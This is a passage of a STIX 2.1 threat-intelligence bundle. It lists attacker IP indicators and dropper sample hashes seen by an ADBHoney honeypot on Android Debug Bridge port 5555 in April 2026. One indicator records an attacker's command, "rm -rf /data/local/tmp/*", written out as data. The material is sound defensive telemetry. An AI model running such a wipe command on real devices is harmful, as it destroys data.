      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=GA; asn=16058; asn_org=Gabon-Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-10T17:56:04.000Z | last_seen=2026-04-10T18:10:19.966Z | ports=5555 | cc=GA | asn=16058 | org=Gabon-Telecom",
      "id": "indicator--f298d76f-092d-46e4-adbc-8002a203abc9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '154.116.13.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T18:00:08.000Z",
      "valid_until": "2026-05-12T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-10T17:56:04.000Z",
          "last_seen": "2026-04-10T18:10:19.966Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GA"
          ],
          "asn": [
            "16058"
          ],
          "org": [
            "Gabon-Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T19:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=28; ports=5555; cc=ZA; asn=11845; asn_org=Vox-Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=28 | first_seen=2026-04-10T18:07:07.000Z | last_seen=2026-04-10T18:17:27.875Z | ports=5555 | cc=ZA | asn=11845 | org=Vox-Telecom",
      "id": "indicator--ba60e62a-8962-4dd7-8004-256a49f03adf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.219.26.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T19:00:05.000Z",
      "valid_until": "2026-05-12T19:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 28,
          "first_seen": "2026-04-10T18:07:07.000Z",
          "last_seen": "2026-04-10T18:17:27.875Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ZA"
          ],
          "asn": [
            "11845"
          ],
          "org": [
            "Vox-Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-10T19:32:08.000Z | last_seen=2026-04-10T19:33:15.423Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--1e0705c4-6baf-4dae-82f2-ce317fe49115",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:00:03.000Z",
      "valid_until": "2026-05-12T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-10T19:32:08.000Z",
          "last_seen": "2026-04-10T19:33:15.423Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-10T19:11:00.000Z | last_seen=2026-04-10T19:24:37.893Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--b90e2630-c5d1-42e3-b2db-758804375546",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '82.147.88.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T20:00:03.000Z",
      "valid_until": "2026-05-12T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-10T19:11:00.000Z",
          "last_seen": "2026-04-10T19:24:37.893Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T21:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a1b79ed553f26dd956317c05e703dcb6f039aa70c896221b35d5b0452806bd16.raw; last_seen=2026-04-10T20:29:02.100Z",
      "id": "indicator--62fce6d3-e27c-4f9f-b5d4-c2e484a51d05",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a1b79ed553f26dd956317c05e703dcb6f039aa70c896221b35d5b0452806bd16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T21:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=28; ports=5555; cc=KE; asn=328987; asn_org=LESL-AS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=28 | first_seen=2026-04-10T21:00:54.000Z | last_seen=2026-04-10T21:11:10.747Z | ports=5555 | cc=KE | asn=328987 | org=LESL-AS",
      "id": "indicator--414fba13-58a7-4640-a0ea-3453d8bc93e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.206.113.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:00:02.000Z",
      "valid_until": "2026-05-12T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 28,
          "first_seen": "2026-04-10T21:00:54.000Z",
          "last_seen": "2026-04-10T21:11:10.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KE"
          ],
          "asn": [
            "328987"
          ],
          "org": [
            "LESL-AS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-10T21:17:38.000Z | last_seen=2026-04-10T21:27:50.965Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--e105b5ac-7af6-482a-97d2-6a1a84558ed0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.160.3.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:00:02.000Z",
      "valid_until": "2026-05-12T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-10T21:17:38.000Z",
          "last_seen": "2026-04-10T21:27:50.965Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=200730; asn_org=ISAEV Igor; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T21:58:21.000Z | last_seen=2026-04-10T21:59:24.998Z | ports=5555 | cc=US | asn=200730 | org=ISAEV Igor",
      "id": "indicator--f6e68fde-6d45-4c58-b555-5a0d6ad7b1c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T22:00:02.000Z",
      "valid_until": "2026-05-12T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T21:58:21.000Z",
          "last_seen": "2026-04-10T21:59:24.998Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "200730"
          ],
          "org": [
            "ISAEV Igor"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-10T22:39:54.000Z | last_seen=2026-04-10T22:50:02.756Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T23:00:02.000Z",
      "valid_until": "2026-05-12T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-10T22:39:54.000Z",
          "last_seen": "2026-04-10T22:50:02.756Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T00:01:35.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-10T23:47:32.000Z | last_seen=2026-04-10T23:57:37.689Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--5a987a21-1083-413e-a1e9-ba2fd55b437f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.43.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T00:01:35.000Z",
      "valid_until": "2026-05-13T00:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-10T23:47:32.000Z",
          "last_seen": "2026-04-10T23:57:37.689Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-11T03:03:46.000Z | last_seen=2026-04-11T03:05:21.124Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--9bf81fbe-6876-42de-a029-e3bdcfbc7891",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:00:04.000Z",
      "valid_until": "2026-05-13T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-11T03:03:46.000Z",
          "last_seen": "2026-04-11T03:05:21.124Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=53; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=53 | first_seen=2026-04-11T03:14:22.000Z | last_seen=2026-04-11T03:25:08.493Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--ec2c66f5-2c31-4727-b04a-45d0bf65c222",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.97.26.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:00:04.000Z",
      "valid_until": "2026-05-13T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 53,
          "first_seen": "2026-04-11T03:14:22.000Z",
          "last_seen": "2026-04-11T03:25:08.493Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-11T03:05:23.000Z | last_seen=2026-04-11T03:16:56.813Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:00:04.000Z",
      "valid_until": "2026-05-13T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-11T03:05:23.000Z",
          "last_seen": "2026-04-11T03:16:56.813Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=39; ports=5555; cc=CN; asn=134810; asn_org=China Mobile Group JiLin communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=8; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=40 | first_seen=2026-04-11T03:47:36.000Z | last_seen=2026-04-11T04:02:44.883Z | ports=5555 | cc=CN | asn=134810 | org=China Mobile Group JiLin communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--b6abe94f-21c1-4d8a-b113-2576809c0859",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.144.102.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T04:00:04.000Z",
      "valid_until": "2026-05-13T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 40,
          "first_seen": "2026-04-11T03:47:36.000Z",
          "last_seen": "2026-04-11T04:02:44.883Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134810"
          ],
          "org": [
            "China Mobile Group JiLin communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T06:00:21.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=402253; asn_org=SKN Subnet & Telecom Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-11T05:12:01.000Z | last_seen=2026-04-11T05:13:06.058Z | ports=5555 | cc=US | asn=402253 | org=SKN Subnet & Telecom Ltd",
      "id": "indicator--f7602fcc-fe52-4859-acb1-882b84f77da9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.99.188.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:00:21.000Z",
      "valid_until": "2026-05-13T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-11T05:12:01.000Z",
          "last_seen": "2026-04-11T05:13:06.058Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "402253"
          ],
          "org": [
            "SKN Subnet & Telecom Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MX; asn=8151; asn_org=UNINET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-11T06:56:18.000Z | last_seen=2026-04-11T07:06:26.972Z | ports=5555 | cc=MX | asn=8151 | org=UNINET",
      "id": "indicator--2492ddc6-54b6-4030-8a0c-e4ece246253b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '187.133.174.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:00:03.000Z",
      "valid_until": "2026-05-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-11T06:56:18.000Z",
          "last_seen": "2026-04-11T07:06:26.972Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "8151"
          ],
          "org": [
            "UNINET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-11T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=20 | first_seen=2026-04-11T06:09:18.000Z | last_seen=2026-04-21T11:30:06.499Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
